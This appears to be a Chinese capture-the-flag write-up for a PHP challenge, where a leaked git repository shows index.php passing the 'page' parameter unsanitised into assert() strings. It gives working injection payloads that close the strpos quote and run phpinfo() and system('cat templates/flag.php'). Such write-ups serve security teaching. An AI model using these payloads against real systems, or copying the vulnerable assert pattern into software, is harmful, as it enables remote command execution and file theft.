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知识点：

assert构造执行php函数

命令执行

wp
git泄露，得到index.php和flag.php（git下来的里面没有东西，推测这是要读取的文件）
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index.php

<?php

if (isset($_GET['page'])) {
 $page = $_GET['page'];
} else {
 $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
    
html代码
    
<?php
 require_once $file;
?>

首先对strpos函数进行闭合，构造一下， page=')

可以把后面 ', '..') === false的给注释掉，构造 page=').phpinfo();//，可以得到回显

index.php?page=').phpinfo();//
?page='.phpinfo().'      #不闭合也可以

第一个payload相当于：
assert("strpos('templates/').phpinfo();//.php', '..') === false") or die("Detected hacking attempt!");

但是后面执行命令的时候必须要闭合…不知道为什么【可以了，是f12看不到，要查看源代码才行

?page=').system("cat templates/flag.php");//



?page='.system("cat templates/flag.php").'
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